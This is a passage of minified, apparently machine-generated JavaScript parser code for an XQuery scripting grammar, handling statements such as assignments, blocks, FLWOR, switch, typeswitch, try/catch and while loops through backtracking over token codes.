e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{ff(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(8,Vl,Wl)}}if(Wl!=-1&&Wl!=54&&Wl!=16140&&Wl!=27656&&Wl!=27657&&Wl!=27658&&Wl!=27659&&Wl!=27680&&Wl!=27695&&Wl!=27783&&Wl!=27845&&Wl!=27903&&Wl!=91735&&Wl!=91751&&Wl!=115333)break;jl(),af()}ic.endNonterminal(\"Statements\",Vl)}function nf(){for(;;){Il(284);switch($l){case 35:ql(270);break;case 36:Ul(243);break;case 47:ql(286);break;case 48:ql(260);break;case 55:Ul(4);break;case 56:Ul(1);break;case 60:Ul(3);break;case 69:ql(273);break;case 78:ql(269);break;case 133:ql(147);break;case 139:ql(179);break;case 161:ql(276);break;case 177:ql(166);break;case 187:ql(247);break;case 220:ql(245);break;case 223:ql(170);break;case 266:ql(188);break;case 281:ql(283);break;case 283:ql(274);break;case 31:case 33:ql(246);break;case 83:case 122:ql(253);break;case 87:case 103:ql(145);break;case 97:case 249:ql(97);break;case 111:case 222:ql(261);break;case 41:case 43:case 196:ql(266);break;case 135:case 197:case 255:ql(211);break;case 104:case 130:case 240:case 268:ql(143);break;case 120:case 206:case 256:case 262:ql(148);break;case 8:case 9:case 10:case 11:case 32:ql(210);break;case 79:case 121:case 125:case 167:case 169:case 188:case 194:case 230:case 231:case 247:ql(20);break;case 6:case 71:case 73:case 74:case 75:case 76:case 80:case 81:case 82:case 84:case 85:case 86:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 105:case 106:case 107:case 109:case 110:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 132:case 134:case 136:case 137:case 138:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 154:case 155:case 156:case 157:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 241:case 242:case 245:case 248:case 253:case 254:case 257:case 258:case 259:case 260:case 263:case 267:case 269:case 272:case 273:case 276:ql(95);break;default:Wl=$l}if(Wl!=25&&Wl!=54&&Wl!=287&&Wl!=12808&&Wl!=12809&&Wl!=12810&&Wl!=12811&&Wl!=12832&&Wl!=12847&&Wl!=12935&&Wl!=12997&&Wl!=13055&&Wl!=16140&&Wl!=21512&&Wl!=21513&&Wl!=21514&&Wl!=21515&&Wl!=21536&&Wl!=21551&&Wl!=21639&&Wl!=21701&&Wl!=21759&&Wl!=27656&&Wl!=27657&&Wl!=27658&&Wl!=27659&&Wl!=27680&&Wl!=27695&&Wl!=27783&&Wl!=27845&&Wl!=27903&&Wl!=91735&&Wl!=91751&&Wl!=115333&&Wl!=146952&&Wl!=146953&&Wl!=146954&&Wl!=146955&&Wl!=146976&&Wl!=146991&&Wl!=147079&&Wl!=147141&&Wl!=147199){Wl=uc(8,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{ff(),oc(8,t,-1);continue}catch(a){Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(8,t,-2);break}}}if(Wl!=-1&&Wl!=54&&Wl!=16140&&Wl!=27656&&Wl!=27657&&Wl!=27658&&Wl!=27659&&Wl!=27680&&Wl!=27695&&Wl!=27783&&Wl!=27845&&Wl!=27903&&Wl!=91735&&Wl!=91751&&Wl!=115333)break;ff()}}function rf(){ic.startNonterminal(\"StatementsAndExpr\",Vl),tf(),jl(),G(),ic.endNonterminal(\"StatementsAndExpr\",Vl)}function sf(){nf(),Y()}function of(){ic.startNonterminal(\"StatementsAndOptionalExpr\",Vl),tf(),$l!=25&&$l!=287&&(jl(),G()),ic.endNonterminal(\"StatementsAndOptionalExpr\",Vl)}function uf(){nf(),$l!=25&&$l!=287&&Y()}function af(){ic.startNonterminal(\"Statement\",Vl);switch($l){case 133:ql(147);break;case 139:ql(179);break;case 177:ql(166);break;case 256:ql(148);break;case 268:ql(143);break;case 281:ql(283);break;case 31:case 33:ql(246);break;case 87:case 103:ql(145);break;case 154:case 248:case 259:case 273:ql(95);break;default:Wl=$l}if(Wl!=6&&Wl!=8&&Wl!=9&&Wl!=10&&Wl!=11&&Wl!=32&&Wl!=35&&Wl!=36&&Wl!=41&&Wl!=43&&Wl!=47&&Wl!=48&&Wl!=54&&Wl!=55&&Wl!=56&&Wl!=60&&Wl!=69&&Wl!=71&&Wl!=73&&Wl!=74&&Wl!=75&&Wl!=76&&Wl!=78&&Wl!=79&&Wl!=80&&Wl!=81&&Wl!=82&&Wl!=83&&Wl!=84&&Wl!=85&&Wl!=86&&Wl!=89&&Wl!=90&&Wl!=91&&Wl!=92&&Wl!=94&&Wl!=95&&Wl!=97&&Wl!=98&&Wl!=99&&Wl!=102&&Wl!=104&&Wl!=105&&Wl!=106&&Wl!=107&&Wl!=109&&Wl!=110&&Wl!=111&&Wl!=112&&Wl!=113&&Wl!=114&&Wl!=119&&Wl!=120&&Wl!=121&&Wl!=122&&Wl!=123&&Wl!=124&&Wl!=125&&Wl!=126&&Wl!=127&&Wl!=129&&Wl!=130&&Wl!=132&&Wl!=134&&Wl!=135&&Wl!=136&&Wl!=137&&Wl!=138&&Wl!=142&&Wl!=143&&Wl!=147&&Wl!=148&&Wl!=150&&Wl!=152&&Wl!=153&&Wl!=155&&Wl!=156&&Wl!=157&&Wl!=161&&Wl!=162&&Wl!=163&&Wl!=164&&Wl!=165&&Wl!=166&&Wl!=167&&Wl!=168&&Wl!=169&&Wl!=170&&Wl!=173&&Wl!=174&&Wl!=175&&Wl!=179&&Wl!=181&&Wl!=183&&Wl!=184&&Wl!=185&&Wl!=187&&Wl!=188&&Wl!=189&&Wl!=194&&Wl!=195&&Wl!=196&&Wl!=197&&Wl!=198&&Wl!=202&&Wl!=203&&Wl!=204&&Wl!=205&&Wl!=206&&Wl!=207&&Wl!=210&&Wl!=216&&Wl!=217&&Wl!=220&&Wl!=222&&Wl!=223&&Wl!=224&&Wl!=225&&Wl!=226&&Wl!=228&&Wl!=229&&Wl!=230&&Wl!=231&&Wl!=232&&Wl!=233&&Wl!=234&&Wl!=239&&Wl!=240&&Wl!=241&&Wl!=242&&Wl!=245&&Wl!=247&&Wl!=249&&Wl!=253&&Wl!=254&&Wl!=255&&Wl!=257&&Wl!=258&&Wl!=260&&Wl!=262&&Wl!=263&&Wl!=266&&Wl!=267&&Wl!=269&&Wl!=272&&Wl!=276&&Wl!=283&&Wl!=10009&&Wl!=14935&&Wl!=14951&&Wl!=14981&&Wl!=14987&&Wl!=15002&&Wl!=15025&&Wl!=15096&&Wl!=15104&&Wl!=15107&&Wl!=15116&&Wl!=15121&&Wl!=16011&&Wl!=16049&&Wl!=16140&&Wl!=18007&&Wl!=18023&&Wl!=18053&&Wl!=18059&&Wl!=18074&&Wl!=18097&&Wl!=18168&&Wl!=18176&&Wl!=18179&&Wl!=18188&&Wl!=91735&&Wl!=91751&&Wl!=115333&&Wl!=118961&&Wl!=122507&&Wl!=131723&&Wl!=144128&&Wl!=147225){Wl=uc(9,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{cf(),Wl=-1}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),pf(),Wl=-2}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),vf(),Wl=-3}catch(l){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),If(),Wl=-12}catch(c){Wl=-13}}}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(9,Vl,Wl)}}switch(Wl){case-2:hf();break;case-3:df();break;case 91735:mf();break;case 91751:yf();break;case 115333:wf();break;case 16011:case 16049:case 118961:case 122507:case 131723:Sf();break;case 18074:Cf();break;case 18168:Lf();break;case 144128:_f();break;case 18179:Pf();break;case-12:case 16140:Ff();break;case-13:qf();break;case 54:Uf();break;default:lf()}ic.endNonterminal(\"Statement\",Vl)}function ff(){switch($l){case 133:ql(147);break;case 139:ql(179);break;case 177:ql(166);break;case 256:ql(148);break;case 268:ql(143);break;case 281:ql(283);break;case 31:case 33:ql(246);break;case 87:case 103:ql(145);break;case 154:case 248:case 259:case 273:ql(95);break;default:Wl=$l}if(Wl!=6&&Wl!=8&&Wl!=9&&Wl!=10&&Wl!=11&&Wl!=32&&Wl!=35&&Wl!=36&&Wl!=41&&Wl!=43&&Wl!=47&&Wl!=48&&Wl!=54&&Wl!=55&&Wl!=56&&Wl!=60&&Wl!=69&&Wl!=71&&Wl!=73&&Wl!=74&&Wl!=75&&Wl!=76&&Wl!=78&&Wl!=79&&Wl!=80&&Wl!=81&&Wl!=82&&Wl!=83&&Wl!=84&&Wl!=85&&Wl!=86&&Wl!=89&&Wl!=90&&Wl!=91&&Wl!=92&&Wl!=94&&Wl!=95&&Wl!=97&&Wl!=98&&Wl!=99&&Wl!=102&&Wl!=104&&Wl!=105&&Wl!=106&&Wl!=107&&Wl!=109&&Wl!=110&&Wl!=111&&Wl!=112&&Wl!=113&&Wl!=114&&Wl!=119&&Wl!=120&&Wl!=121&&Wl!=122&&Wl!=123&&Wl!=124&&Wl!=125&&Wl!=126&&Wl!=127&&Wl!=129&&Wl!=130&&Wl!=132&&Wl!=134&&Wl!=135&&Wl!=136&&Wl!=137&&Wl!=138&&Wl!=142&&Wl!=143&&Wl!=147&&Wl!=148&&Wl!=150&&Wl!=152&&Wl!=153&&Wl!=155&&Wl!=156&&Wl!=157&&Wl!=161&&Wl!=162&&Wl!=163&&Wl!=164&&Wl!=165&&Wl!=166&&Wl!=167&&Wl!=168&&Wl!=169&&Wl!=170&&Wl!=173&&Wl!=174&&Wl!=175&&Wl!=179&&Wl!=181&&Wl!=183&&Wl!=184&&Wl!=185&&Wl!=187&&Wl!=188&&Wl!=189&&Wl!=194&&Wl!=195&&Wl!=196&&Wl!=197&&Wl!=198&&Wl!=202&&Wl!=203&&Wl!=204&&Wl!=205&&Wl!=206&&Wl!=207&&Wl!=210&&Wl!=216&&Wl!=217&&Wl!=220&&Wl!=222&&Wl!=223&&Wl!=224&&Wl!=225&&Wl!=226&&Wl!=228&&Wl!=229&&Wl!=230&&Wl!=231&&Wl!=232&&Wl!=233&&Wl!=234&&Wl!=239&&Wl!=240&&Wl!=241&&Wl!=242&&Wl!=245&&Wl!=247&&Wl!=249&&Wl!=253&&Wl!=254&&Wl!=255&&Wl!=257&&Wl!=258&&Wl!=260&&Wl!=262&&Wl!=263&&Wl!=266&&Wl!=267&&Wl!=269&&Wl!=272&&Wl!=276&&Wl!=283&&Wl!=10009&&Wl!=14935&&Wl!=14951&&Wl!=14981&&Wl!=14987&&Wl!=15002&&Wl!=15025&&Wl!=15096&&Wl!=15104&&Wl!=15107&&Wl!=15116&&Wl!=15121&&Wl!=16011&&Wl!=16049&&Wl!=16140&&Wl!=18007&&Wl!=18023&&Wl!=18053&&Wl!=18059&&Wl!=18074&&Wl!=18097&&Wl!=18168&&Wl!=18176&&Wl!=18179&&Wl!=18188&&Wl!=91735&&Wl!=91751&&Wl!=115333&&Wl!=118961&&Wl!=122507&&Wl!=131723&&Wl!=144128&&Wl!=147225){Wl=uc(9,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{cf(),oc(9,t,-1),Wl=-15}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),pf(),oc(9,t,-2),Wl=-15}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),vf(),oc(9,t,-3),Wl=-15}catch(l){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),If(),oc(9,t,-12),Wl=-15}catch(c){Wl=-13,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(9,t,-13)}}}}}}switch(Wl){case-2:pf();break;case-3:vf();break;case 91735:gf();break;case 91751:bf();break;case 115333:Ef();break;case 16011:case 16049:case 118961:case 122507:case 131723:xf();break;case 18074:kf();break;case 18168:Af();break;case 144128:Df();break;case 18179:Hf();break;case-12:case 16140:If();break;case-13:Rf();break;case 54:zf();break;case-15:break;default:cf()}}function lf(){ic.startNonterminal(\"ApplyStatement\",Vl),Vf(),Pl(54),ic.endNonterminal(\"ApplyStatement\",Vl)}function cf(){$f(),Hl(54)}function hf(){ic.startNonterminal(\"AssignStatement\",Vl),Pl(31),Il(246),jl(),Ti(),Il(28),Pl(53),Il(267),jl(),Wf(),Pl(54),ic.endNonterminal(\"AssignStatement\",Vl)}function pf(){Hl(31),Il(246),Ni(),Il(28),Hl(53),Il(267),Xf(),Hl(54)}function df(){ic.startNonterminal(\"BlockStatement\",Vl),Pl(281),Il(271),jl(),af(),Il(281),jl(),tf(),Pl(287),ic.endNonterminal(\"BlockStatement\",Vl)}function vf(){Hl(281),Il(271),ff(),Il(281),nf(),Hl(287)}function mf(){ic.startNonterminal(\"BreakStatement\",Vl),Pl(87),Il(62),Pl(179),Il(29),Pl(54),ic.endNonterminal(\"BreakStatement\",Vl)}function gf(){Hl(87),Il(62),Hl(179),Il(29),Hl(54)}function yf(){ic.startNonterminal(\"ContinueStatement\",Vl),Pl(103),Il(62),Pl(179),Il(29),Pl(54),ic.endNonterminal(\"ContinueStatement\",Vl)}function bf(){Hl(103),Il(62),Hl(179),Il(29),Hl(54)}function wf(){ic.startNonterminal(\"ExitStatement\",Vl),Pl(133),Il(74),Pl(225),Il(267),jl(),Wf(),Pl(54),ic.endNonterminal(\"ExitStatement\",Vl)}function Ef(){Hl(133),Il(74),Hl(225),Il(267),Xf(),Hl(54)}function Sf(){ic.startNonterminal(\"FLWORStatement\",Vl),tt();for(;;){Il(195);if($l==224)break;jl(),rt()}jl(),Tf(),ic.endNonterminal(\"FLWORStatement\",Vl)}function xf(){nt();for(;;){Il(195);if($l==224)break;it()}Nf()}function Tf(){ic.startNonterminal(\"ReturnStatement\",Vl),Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"ReturnStatement\",Vl)}function Nf(){Hl(224),Il(271),ff()}function Cf(){ic.startNonterminal(\"IfStatement\",Vl),Pl(154),Il(22),Pl(35),Il(267),jl(),G(),Pl(38),Il(80),Pl(250),Il(271),jl(),af(),Il(51),Pl(123),Il(271),jl(),af(),ic.endNonterminal(\"IfStatement\",Vl)}function kf(){Hl(154),Il(22),Hl(35),Il(267),Y(),Hl(38),Il(80),Hl(250),Il(271),ff(),Il(51),Hl(123),Il(271),ff()}function Lf(){ic.startNonterminal(\"SwitchStatement\",Vl),Pl(248),Il(22),Pl(35),Il(267),jl(),G(),Pl(38);for(;;){Il(38),jl(),Of(),Il(117);if($l!=89)break}Pl(110),Il(73),Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"SwitchStatement\",Vl)}function Af(){Hl(248),Il(22),Hl(35),Il(267),Y(),Hl(38);for(;;){Il(38),Mf(),Il(117);if($l!=89)break}Hl(110),Il(73),Hl(224),Il(271),ff()}function Of(){ic.startNonterminal(\"SwitchCaseStatement\",Vl);for(;;){Pl(89),Il(267),jl(),dn();if($l!=89)break}Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"SwitchCaseStatement\",Vl)}function Mf(){for(;;){Hl(89),Il(267),vn();if($l!=89)break}Hl(224),Il(271),ff()}function _f(){ic.startNonterminal(\"TryCatchStatement\",Vl),Pl(256),Il(90),jl(),df();for(;;){Il(39),Pl(92),Il(249),jl(),_n(),jl(),df(),Il(284);switch($l){case 92:ql(256);break;default:Wl=$l}if(Wl!=2652&&Wl!=3164&&Wl!=36444&&Wl!=37468&&Wl!=37980&&Wl!=38492&&Wl!=39004&&Wl!=40028&&Wl!=40540&&Wl!=41052&&Wl!=41564&&Wl!=42076&&Wl!=42588&&Wl!=43100&&Wl!=43612&&Wl!=44124&&Wl!=44636&&Wl!=45660&&Wl!=46172&&Wl!=46684&&Wl!=47196&&Wl!=48220&&Wl!=48732&&Wl!=49756&&Wl!=50268&&Wl!=50780&&Wl!=52316&&Wl!=52828&&Wl!=53340&&Wl!=53852&&Wl!=54364&&Wl!=54876&&Wl!=55900&&Wl!=56412&&Wl!=56924&&Wl!=57436&&Wl!=57948&&Wl!=58460&&Wl!=61020&&Wl!=61532&&Wl!=62044&&Wl!=62556&&Wl!=63068&&Wl!=63580&&Wl!=64092&&Wl!=64604&&Wl!=65116&&Wl!=66140&&Wl!=66652&&Wl!=67676&&Wl!=68188&&Wl!=68700&&Wl!=69212&&Wl!=69724&&Wl!=70236&&Wl!=70748&&Wl!=71260&&Wl!=72796&&Wl!=73308&&Wl!=75356&&Wl!=75868&&Wl!=76892&&Wl!=77916&&Wl!=78428&&Wl!=78940&&Wl!=79452&&Wl!=79964&&Wl!=80476&&Wl!=82524&&Wl!=83036&&Wl!=83548&&Wl!=84060&&Wl!=84572&&Wl!=85084&&Wl!=85596&&Wl!=86108&&Wl!=86620&&Wl!=87132&&Wl!=88668&&Wl!=89180&&Wl!=89692&&Wl!=90716&&Wl!=91740&&Wl!=92764&&Wl!=93788&&Wl!=94300&&Wl!=94812&&Wl!=95836&&Wl!=96348&&Wl!=96860&&Wl!=99420&&Wl!=99932&&Wl!=100956&&Wl!=101468&&Wl!=103516&&Wl!=104028&&Wl!=104540&&Wl!=105052&&Wl!=105564&&Wl!=106076&&Wl!=107612&&Wl!=110684&&Wl!=111196&&Wl!=112732&&Wl!=113756&&Wl!=114268&&Wl!=114780&&Wl!=115292&&Wl!=115804&&Wl!=116828&&Wl!=117340&&Wl!=117852&&Wl!=118364&&Wl!=118876&&Wl!=119388&&Wl!=119900&&Wl!=122460&&Wl!=122972&&Wl!=123484&&Wl!=123996&&Wl!=125532&&Wl!=126556&&Wl!=127068&&Wl!=127580&&Wl!=129628&&Wl!=130140&&Wl!=130652&&Wl!=131164&&Wl!=131676&&Wl!=132188&&Wl!=132700&&Wl!=133212&&Wl!=134236&&Wl!=134748&&Wl!=136284&&Wl!=136796&&Wl!=137308&&Wl!=137820&&Wl!=139356&&Wl!=139868&&Wl!=141404)break}ic.endNonterminal(\"TryCatchStatement\",Vl)}function Df(){Hl(256),Il(90),vf();for(;;){Il(39),Hl(92),Il(249),Dn(),vf(),Il(284);switch($l){case 92:ql(256);break;default:Wl=$l}if(Wl!=2652&&Wl!=3164&&Wl!=36444&&Wl!=37468&&Wl!=37980&&Wl!=38492&&Wl!=39004&&Wl!=40028&&Wl!=40540&&Wl!=41052&&Wl!=41564&&Wl!=42076&&Wl!=42588&&Wl!=43100&&Wl!=43612&&Wl!=44124&&Wl!=44636&&Wl!=45660&&Wl!=46172&&Wl!=46684&&Wl!=47196&&Wl!=48220&&Wl!=48732&&Wl!=49756&&Wl!=50268&&Wl!=50780&&Wl!=52316&&Wl!=52828&&Wl!=53340&&Wl!=53852&&Wl!=54364&&Wl!=54876&&Wl!=55900&&Wl!=56412&&Wl!=56924&&Wl!=57436&&Wl!=57948&&Wl!=58460&&Wl!=61020&&Wl!=61532&&Wl!=62044&&Wl!=62556&&Wl!=63068&&Wl!=63580&&Wl!=64092&&Wl!=64604&&Wl!=65116&&Wl!=66140&&Wl!=66652&&Wl!=67676&&Wl!=68188&&Wl!=68700&&Wl!=69212&&Wl!=69724&&Wl!=70236&&Wl!=70748&&Wl!=71260&&Wl!=72796&&Wl!=73308&&Wl!=75356&&Wl!=75868&&Wl!=76892&&Wl!=77916&&Wl!=78428&&Wl!=78940&&Wl!=79452&&Wl!=79964&&Wl!=80476&&Wl!=82524&&Wl!=83036&&Wl!=83548&&Wl!=84060&&Wl!=84572&&Wl!=85084&&Wl!=85596&&Wl!=86108&&Wl!=86620&&Wl!=87132&&Wl!=88668&&Wl!=89180&&Wl!=89692&&Wl!=90716&&Wl!=91740&&Wl!=92764&&Wl!=93788&&Wl!=94300&&Wl!=94812&&Wl!=95836&&Wl!=96348&&Wl!=96860&&Wl!=99420&&Wl!=99932&&Wl!=100956&&Wl!=101468&&Wl!=103516&&Wl!=104028&&Wl!=104540&&Wl!=105052&&Wl!=105564&&Wl!=106076&&Wl!=107612&&Wl!=110684&&Wl!=111196&&Wl!=112732&&Wl!=113756&&Wl!=114268&&Wl!=114780&&Wl!=115292&&Wl!=115804&&Wl!=116828&&Wl!=117340&&Wl!=117852&&Wl!=118364&&Wl!=118876&&Wl!=119388&&Wl!=119900&&Wl!=122460&&Wl!=122972&&Wl!=123484&&Wl!=123996&&Wl!=125532&&Wl!=126556&&Wl!=127068&&Wl!=127580&&Wl!=129628&&Wl!=130140&&Wl!=130652&&Wl!=131164&&Wl!=131676&&Wl!=132188&&Wl!=132700&&Wl!=133212&&Wl!=134236&&Wl!=134748&&Wl!=136284&&Wl!=136796&&Wl!=137308&&Wl!=137820&&Wl!=139356&&Wl!=139868&&Wl!=141404)break}}function Pf(){ic.startNonterminal(\"TypeswitchStatement\",Vl),Pl(259),Il(22),Pl(35),Il(267),jl(),G(),Pl(38);for(;;){Il(38),jl(),Bf(),Il(117);if($l!=89)break}Pl(110),Il(99),$l==31&&(Pl(31),Il(246),jl(),Ti()),Il(73),Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"TypeswitchStatement\",Vl)}function Hf(){Hl(259),Il(22),Hl(35),Il(267),Y(),Hl(38);for(;;){Il(38),jf(),Il(117);if($l!=89)break}Hl(110),Il(99),$l==31&&(Hl(31),Il(246),Ni()),Il(73),Hl(224),Il(271),ff()}function Bf(){ic.startNonterminal(\"CaseStatement\",Vl),Pl(89),Il(258),$l==31&&(Pl(31),Il(246),jl(),Ti(),Il(33),Pl(80)),Il(254),jl(),Ls(),Il(73),Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"CaseStatement\",Vl)}function jf(){Hl(89),Il(258),$l==31&&(Hl(31),Il(246),Ni(),Il(33),Hl(80)),Il(254),As(),Il(73),Hl(224),Il(271),ff()}function Ff(){ic.startNonterminal(\"VarDeclStatement\",Vl);for(;;){Il(102);if($l!=33)break;jl(),B()}Pl(268),Il(21),Pl(31),Il(246),jl(),Ti(),Il(172),$l==80&&(jl(),Cs()),Il(155),$l==53&&(Pl(53),Il(267),jl(),Wf());for(;;){if($l!=42)break;Pl(42),Il(21),Pl(31),Il(246),jl(),Ti(),Il(172),$l==80&&(jl(),Cs()),Il(155),$l==53&&(Pl(53),Il(267),jl(),Wf())}Pl(54),ic.endNonterminal(\"VarDeclStatement\",Vl)}function If(){for(;;){Il(102);if($l!=33)break;j()}Hl(268),Il(21),Hl(31),Il(246),Ni(),Il(172),$l==80&&ks(),Il(155),$l==53&&(Hl(53),Il(267),Xf());for(;;){if($l!=42)break;Hl(42),Il(21),Hl(31),Il(246),Ni(),Il(172),$l==80&&ks(),Il(155),$l==53&&(Hl(53),Il(267),Xf())}Hl(54)}function qf(){ic.startNonterminal(\"WhileStatement\",Vl),Pl(273),Il(22),Pl(35),Il(267),jl(),G(),Pl(38),Il(271),jl(),af(),ic.endNonterminal(\"WhileStatement\",Vl)}function Rf(){Hl(273),Il(22),Hl(35),Il(267),Y(),Hl(38),Il(271),ff()}function Uf(){ic.startNonterminal(\"VoidStatement\",Vl),Pl(54),ic.endNonterminal(\"VoidStatement\",Vl)}function zf(){Hl(54)}function Wf(){ic.startNonterminal(\"ExprSingle\",Vl);switch($l){case 139:ql(179);break;case 177:ql(166);break;case 256:ql(148);break;case 154:case 248:case 259:ql(95);break;default:Wl=$l}switch(Wl){case 16011:case 16049:case 118961:case 122507:case 131723:Z();break;case 18074:Sn();break;case 18168:ln();break;case 144128:Tn();break;case 18179:mn();break;default:Vf()}ic.endNonterminal(\"ExprSingle\",Vl)}function Xf(){switch($l){case 139:ql(179);break;case 177:ql(166);break;case 256:ql(148);break;case 154:case 248:case 259:ql(95);break;default:Wl=$l}switch(Wl){case 16011:case 16049:case 118961:case 122507:case 131723:et();break;case 18074:xn();break;case 18168:cn();break;case 144128:Nn();break;case 18179:gn();break;default:$f()}}function Vf(){ic.startNonterminal(\"ExprSimple\",Vl);switch($l){case 78:ql(269);break;case 161:ql(276);break;case 223:ql(170);break;case 111:case 222:ql(261);break;case 104:case 130:case 240:ql(143);break;default:Wl=$l}if(Wl==17998||Wl==18031||Wl==18081||Wl==18142||Wl==99439||Wl==99489||Wl==99550||Wl==99951||Wl==100001||Wl==136927){Wl=uc(10,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hn(),Wl=-2}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),zo(),Wl=-3}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Xo(),Wl=-4}catch(l){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Ko(),Wl=-5}catch(c){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),$o(),Wl=-6}catch(h){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Kf(),Wl=-8}catch(p){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Gf(),Wl=-9}catch(d){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Zf(),Wl=-10}catch(v){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),tl(),Wl=-11}catch(m){Wl=-12}}}}}}}}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(10,Vl,Wl)}}switch(Wl){case 16002:case 16112:on();break;case-3:Uo();break;case-4:Wo();break;case-5:Jo();break;case-6:case 99551:Vo();break;case 15976:nu();break;case-8:case 3183:case 4207:case 4719:case 5231:case 5743:case 15983:case 16495:case 17007:case 28271:case 28783:case 30831:case 35439:case 36463:case 37487:case 37999:case 38511:case 39023:case 40047:case 40559:case 41071:case 41583:case 42095:case 42607:case 43119:case 43631:case 44143:case 44655:case 45679:case 46191:case 46703:case 47215:case 48239:case 48751:case 49775:case 50287:case 50799:case 52335:case 52847:case 53359:case 53871:case 54383:case 54895:case 55919:case 56431:case 56943:case 57455:case 57967:case 58479:case 61039:case 61551:case 62063:case 62575:case 63087:case 63599:case 64111:case 64623:case 65135:case 66159:case 66671:case 67695:case 68207:case 68719:case 69231:case 69743:case 70255:case 70767:case 71279:case 72815:case 73327:case 75375:case 75887:case 76911:case 77935:case 78447:case 78959:case 79471:case 79983:case 80495:case 82543:case 83055:case 83567:case 84079:case 84591:case 85103:case 85615:case 86127:case 86639:case 87151:case 88687:case 89199:case 89711:case 90735:case 91759:case 92783:case 93807:case 94319:case 94831:case 95855:case 96367:case 96879:case 100975:case 101487:case 103535:case 104047:case 104559:case 105071:case 105583:case 106095:case 107631:case 110703:case 111215:case 112751:case 113775:case 114287:case 114799:case 115311:case 115823:case 116847:case 117359:case 117871:case 118383:case 118895:case 119407:case 119919:case 122479:case 122991:case 123503:case 124015:case 125551:case 126575:case 127087:case 127599:case 129647:case 130159:case 130671:case 131183:case 131695:case 132207:case 132719:case 133231:case 134255:case 134767:case 136303:case 136815:case 137327:case 137839:case 139375:case 139887:case 141423:case 143983:case 145007:Jf();break;case-9:case 3233:case 4257:case 4769:case 5281:case 5793:case 9889:case 16033:case 16545:case 17057:case 18593:case 21153:case 22177:case 24225:case 24737:case 28321:case 28833:case 30881:case 35489:case 36513:case 37537:case 38049:case 38561:case 39073:case 40097:case 40609:case 41121:case 41633:case 42145:case 42657:case 43169:case 43681:case 44193:case 44705:case 45729:case 46241:case 46753:case 47265:case 48289:case 48801:case 49825:case 50337:case 50849:case 52385:case 52897:case 53409:case 53921:case 54433:case 54945:case 55969:case 56481:case 56993:case 57505:case 58017:case 58529:case 61089:case 61601:case 62113:case 62625:case 63137:case 63649:case 64161:case 64673:case 65185:case 66209:case 66721:case 67745:case 68257:case 68769:case 69281:case 69793:case 70305:case 70817:case 71329:case 72865:case 73377:case 75425:case 75937:case 76961:case 77985:case 